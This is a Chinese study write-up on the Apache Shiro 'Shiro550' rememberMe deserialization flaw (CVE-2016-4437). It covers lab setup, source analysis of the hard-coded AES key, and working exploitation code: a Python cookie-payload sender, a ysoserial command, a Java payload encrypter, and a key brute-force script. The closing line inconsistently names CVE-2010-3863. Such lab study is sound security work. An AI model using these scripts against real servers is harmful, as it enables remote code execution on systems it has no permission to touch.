shiro550 CVE-2016-4437
Apache Shiro 是一个强大且灵活的开源安全框架,用于身份验证、授权、加密和会话管理。
参考文章 https://goodapple.top/archives/139
https://drun1baby.top/2022/07/10/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Shiro%E7%AF%8701-Shiro550%E6%B5%81%E7%A8%8B%E5%88%86%E6%9E%90/
环境搭建 下载shiro源码,打开Maven项目with source
选择shiro\sample\web目录
修改pom.xml配置文件 添加版本和两处注释
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <dependency > <groupId > javax.servlet</groupId > <artifactId > jstl</artifactId > <version > 1.2</version > <scope > runtime</scope > </dependency > <dependency > <groupId > javax.servlet</groupId > <artifactId > servlet-api</artifactId > </dependency > <dependency > <groupId > net.sourceforge.htmlunit</groupId > <artifactId > htmlunit</artifactId > <version > 2.6</version > </dependency >
编译打包 1 2 命令行下mvn compile编译生成target文件 命令行下mvn package打包生成war文件
报错 1 2 3 4 5 6 7 8 9 10 [ERROR] Failed to execute goal org.apache .maven .plugins :maven-toolchains-plugin:1.1 :toolchain (default) on project samples-web: Cannot find matching toolchain definitions for the following toolchain types:[ERROR] jdk [ vendor='sun' version='1.6' ] [ERROR] Please make sure you define the required toolchains in your ~/.m2/toolchains.xml file.[ERROR] -> [Help 1] [ERROR] [ERROR] To see the full stack trace of the errors, re-run Maven with the -e switch .[ERROR] Re-run Maven using the -X switch to enable full debug logging.[ERROR] [ERROR] For more information about the errors and possible solutions, please read the following articles:[ERROR] [Help 1] http:
Maven Toolchains Plugin 无法找到符合要求的 JDK 工具链配置,需要 Sun JDK 1.6
1 C:\Users\<你的用户名 > \.m2\目录下创建toolchains.xml
添加配置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?xml version="1.0" encoding="UTF-8" ?> <toolchains > <toolchain > <type > jdk</type > <provides > <version > 1.6</version > <vendor > sun</vendor > </provides > <configuration > <jdkHome > /path/to/jdk1.6</jdkHome > </configuration > </toolchain > </toolchains >
下载链接:
https://www.oracle.com/java/technologies/javase-java-archive-javase6-downloads.html
添加运行环境 jdk8u65
tomcat8.5.81
Run/Edit Configurations
Deployment
漏洞分析 在登录shiro成功,选择了remeberMe选项,网站会生成一个key为remeberMe的Cookie、
Cookie加密分析 CookieRememberMeManager org.apache.shiro.web.mgt.CookieRememberMeManager
类中寻找相关函数
org.apache.shiro.web.mgt.CookieRememberMeManager#rememberSerializedIdentity
初始时Cookie为空,获取Cookie,将序列化后的数据base64编码后存入到Cookie中,得到{remeberme:base64_encode},然后将Cookie保存到返回包中。
这是存入Cookie的过程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 protected void rememberSerializedIdentity (Subject subject, byte [] serialized) { if (!WebUtils.isHttp(subject)) { if (log.isDebugEnabled()) { String msg = "Subject argument is not an HTTP-aware instance. This is required to obtain a servlet " + "request and response in order to set the rememberMe cookie. Returning immediately and " + "ignoring rememberMe operation." ; log.debug(msg); } return ; } HttpServletRequest request = WebUtils.getHttpRequest(subject); HttpServletResponse response = WebUtils.getHttpResponse(subject); String base64 = Base64.encodeToString(serialized); Cookie template = getCookie(); Cookie cookie = new SimpleCookie (template); cookie.setValue(base64); cookie.saveTo(request, response); }
AbstractRememberMeManager org.apache.shiro.mgt.AbstractRememberMeManager
这里将用户信息进行序列化,然后加密。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 protected void rememberIdentity (Subject subject, PrincipalCollection accountPrincipals) { byte [] bytes = convertPrincipalsToBytes(accountPrincipals); rememberSerializedIdentity(subject, bytes); }protected byte [] convertPrincipalsToBytes(PrincipalCollection principals) { byte [] bytes = serialize(principals); if (getCipherService() != null ) { bytes = encrypt(bytes); } return bytes; }protected byte [] encrypt(byte [] serialized) { byte [] value = serialized; CipherService cipherService = getCipherService(); if (cipherService != null ) { ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey()); value = byteSource.getBytes(); } return value; }
加密相关信息
使用AES加密,密钥是固定的。
1 2 3 4 5 6 7 8 9 10 11 public CipherService getCipherService () { return cipherService; } public AbstractRememberMeManager () { this .serializer = new DefaultSerializer <PrincipalCollection>(); this .cipherService = new AesCipherService (); setCipherKey(DEFAULT_CIPHER_KEY_BYTES); } private static final byte [] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==" );
加密算法详情,CBC模式,初始化向量128bits
Cookie解密分析 CookieRememberMeManager org.apache.shiro.web.mgt.CookieRememberMeManager#getRememberedSerializedIdentity
作用:subjectContext 中获取(base64_decode)被“记住”的用户身份序列化数据(通常是字节数组)
关于SubjectContext
Shiro 抽象的上下文容器,可能包含请求信息,但目的是为构建 Subject 服务。包括 请求/响应对象(可能包含 HTTP 请求报文内容) 会话(Session)信息 记住我(RememberMe)的令牌或标识 Web 环境中,Shiro 会通过 WebUtils 将 HttpServletRequest 和 HttpServletResponse 封装到 SubjectContext 中。
DELETED_COOKIE_VALUE为 deleteMe
,只要cookie的值不是deleteMe
,则会进行后续的解析操作。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 protected byte [] getRememberedSerializedIdentity(SubjectContext subjectContext) { ..... String base64 = getCookie().readValue(request, response); if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null ; if (base64 != null ) { base64 = ensurePadding(base64); if (log.isTraceEnabled()) { log.trace("Acquired Base64 encoded identity [" + base64 + "]" ); } byte [] decoded = Base64.decode(base64); if (log.isTraceEnabled()) { log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0 ) + " bytes." ); } return decoded; } else { return null ; } }
AbstractRememberMeManager org.apache.shiro.mgt.AbstractRememberMeManager
getRememberedPrincipals方法
调用getRememberedSerializedIdentity,获取序列化数据, 调用convertBytesToPrincipals解析数据 ==> org.apache.shiro.mgt.AbstractRememberMeManager#convertBytesToPrincipals 先解密,后反序列化 ==> org.apache.shiro.mgt.AbstractRememberMeManager#decrypt org.apache.shiro.mgt.AbstractRememberMeManager#deserialize
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public PrincipalCollection getRememberedPrincipals (SubjectContext subjectContext) { PrincipalCollection principals = null ; try { byte [] bytes = getRememberedSerializedIdentity(subjectContext); if (bytes != null && bytes.length > 0 ) { principals = convertBytesToPrincipals(bytes, subjectContext); } } catch (RuntimeException re) { principals = onRememberedPrincipalFailure(re, subjectContext); } return principals; }protected PrincipalCollection convertBytesToPrincipals (byte [] bytes, SubjectContext subjectContext) { if (getCipherService() != null ) { bytes = decrypt(bytes); } return deserialize(bytes); }
分析 decrypt
,追溯加密使用还是AES,AES是对称加密,密钥也是和加密密钥一致的。但还是使用两个方法分别赋值加密密钥和解密密钥,可能是为了后期的更换加密算法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 protected byte [] decrypt(byte [] encrypted) { byte [] serialized = encrypted; CipherService cipherService = getCipherService(); if (cipherService != null ) { ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey()); serialized = byteSource.getBytes(); } return serialized; }public void setCipherKey (byte [] cipherKey) { setEncryptionCipherKey(cipherKey); setDecryptionCipherKey(cipherKey); }
加密算法 org.apache.shiro.crypto.JcaCipherService
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 public ByteSource decrypt (byte [] ciphertext, byte [] key) throws CryptoException { byte [] encrypted = ciphertext; byte [] iv = null ; if (isGenerateInitializationVectors(false )) { try { int ivSize = getInitializationVectorSize(); int ivByteSize = ivSize / BITS_PER_BYTE; iv = new byte [ivByteSize]; System.arraycopy(ciphertext, 0 , iv, 0 , ivByteSize); int encryptedSize = ciphertext.length - ivByteSize; encrypted = new byte [encryptedSize]; System.arraycopy(ciphertext, ivByteSize, encrypted, 0 , encryptedSize); } catch (Exception e) { String msg = "Unable to correctly extract the Initialization Vector or ciphertext." ; throw new CryptoException (msg, e); } } return decrypt(encrypted, key, iv); }
密文先将IV提取出来,所以需要将IV和序列化数据组合在base64编码。
序列化分析 org.apache.shiro.io.DefaultSerializer
直接在内存中操作字节数组,与我们之前写的操作方式不同,原理相同,从输出流进行序列化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 public byte [] serialize(T o) throws SerializationException { if (o == null ) {…… } ByteArrayOutputStream baos = new ByteArrayOutputStream (); BufferedOutputStream bos = new BufferedOutputStream (baos); try { ObjectOutputStream oos = new ObjectOutputStream (bos); oos.writeObject(o); oos.close(); return baos.toByteArray(); } catch (IOException e) { …… } }public T deserialize (byte [] serialized) throws SerializationException { if (serialized == null ) {…… } ByteArrayInputStream bais = new ByteArrayInputStream (serialized); BufferedInputStream bis = new BufferedInputStream (bais); try { ObjectInputStream ois = new ClassResolvingObjectInputStream (bis); @SuppressWarnings({"unchecked"}) T deserialized = (T) ois.readObject(); ois.close(); return deserialized; } catch (Exception e) {…… } }
漏洞利用 py脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 import base64import uuidimport requestsfrom Crypto.Cipher import AESdef get_file_data (filename ): with open (filename, 'rb' ) as f: data = f.read() return datadef aes_enc (data ): BS = AES.block_size pad = lambda s: s + ((BS - len (s) % BS) * chr (BS - len (s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data))) return ciphertextdef aes_dec (enc_data ): enc_data = base64.b64decode(enc_data) unpad = lambda s: s[:-s[-1 ]] key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = enc_data[:16 ] encryptor = AES.new(base64.b64decode(key), mode, iv) plaintext = encryptor.decrypt(enc_data[16 :]) plaintext = unpad(plaintext) return plaintextif __name__ == '__main__' : data = get_file_data("ser.bin" ) secret = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==" ) ciphertext = aes_enc(data) with open ("ser.bin.enc" , "wb" ) as f: f.write(ciphertext) url = "http://192.168.88.148:8080" cookie = {"rememberMe" : ciphertext.decode("utf-8" )} print ("start" ) requests.get(url, cookies=cookie)
java脚本(vulhub) 使用ysoserial生成CommonsBeanutils1的Gadget:
1 java -jar ysoserial-master-30099844 c6-1 .jar CommonsBeanutils1 "touch /tmp/success" > poc.ser
使用Shiro内置的默认密钥对Payload进行加密:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 package org.vulhub.shirodemo;import org.apache.shiro.crypto.AesCipherService;import org.apache.shiro.codec.CodecSupport;import org.apache.shiro.util.ByteSource;import org.apache.shiro.codec.Base64;import org.apache.shiro.io.DefaultSerializer;import java.nio.file.FileSystems;import java.nio.file.Files;import java.nio.file.Paths;public class TestRemember { public static void main (String[] args) throws Exception { byte [] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("/path" , "to" , "poc.ser" )); AesCipherService aes = new AesCipherService (); byte [] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA==" )); ByteSource ciphertext = aes.encrypt(payloads, key); System.out.printf(ciphertext.toString()); } }
URLDNS CC11 链 CB1链 工具 https://github.com/safe6Sec/ShiroExp
识别 指纹识别 在请求包的 Cookie 中为 rememberMe
字段赋任意值,收到返回包的 Set-Cookie 中存在 rememberMe=deleteMe
字段,说明目标有使用 Shiro 框架
AES密钥判断 Shiro 1.2.4 以上版本官方移除了代码中的默认密钥,要求开发者自己设置,如果开发者没有设置,则默认动态生成,降低了固定密钥泄漏的风险。
如何判断密钥正确?当密钥不正确或类型转换异常时,目标 Response 包含 Set-Cookie:rememberMe=deleteMe
字段,而当密钥正确且没有类型转换异常时,返回包不存在 Set-Cookie:rememberMe=deleteMe
字段。
shiro 在 1.4.2 版本之前, AES 的模式为 CBC, IV 是随机生成的,并且 IV 并没有真正使用起来,所以整个 AES 加解密过程的 key 就很重要了,正是因为 AES 使用 Key 泄漏导致反序列化的 cookie 可控,从而引发反序列化漏洞。在 1.4.2 版本后,shiro 已经更换加密模式 AES-CBC 为 AES-GCM,脚本编写时需要考虑加密模式变化的情况。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import base64import uuidimport requestsfrom Crypto.Cipher import AES def encrypt_AES_GCM (msg, secretKey ): aesCipher = AES.new(secretKey, AES.MODE_GCM) ciphertext, authTag = aesCipher.encrypt_and_digest(msg) return (ciphertext, aesCipher.nonce, authTag) def encode_rememberme (target ): keys = ['kPH+bIxk5D2deZiIxcaaaA==' , '4AvVhmFLUs0KTA3Kprsdag==' ,'66v1O8keKNV3TTcGPK1wzg==' , 'SDKOLKn2J1j/2BHjeZwAoQ==' ] BS = AES.block_size pad = lambda s: s + ((BS - len (s) % BS) * chr (BS - len (s) % BS)).encode() mode = AES.MODE_CBC iv = uuid.uuid4().bytes file_body = base64.b64decode('rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==' ) for key in keys: try : encryptor = AES.new(base64.b64decode(key), mode, iv) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(file_body))) res = requests.get(target, cookies={'rememberMe' : base64_ciphertext.decode()},timeout=3 ,verify=False , allow_redirects=False ) if res.headers.get("Set-Cookie" ) == None : print ("正确KEY :" + key) return key else : if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie" ): print ("正确key:" + key) return key encryptedMsg = encrypt_AES_GCM(file_body, base64.b64decode(key)) base64_ciphertext = base64.b64encode(encryptedMsg[1 ] + encryptedMsg[0 ] + encryptedMsg[2 ]) res = requests.get(target, cookies={'rememberMe' : base64_ciphertext.decode()}, timeout=3 , verify=False , allow_redirects=False ) if res.headers.get("Set-Cookie" ) == None : print ("正确KEY:" + key) return key else : if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie" ): print ("正确key:" + key) return key print ("正确key:" + key) return key except Exception as e: print (e)
小摊 因为对python写脚本不是很熟练,而且python的弱类型,自己看代码++难度。脚本都是借鉴的其他大佬的。
这是一个shiro的CVE-2010-3863漏洞,复现很简单,没细看原理。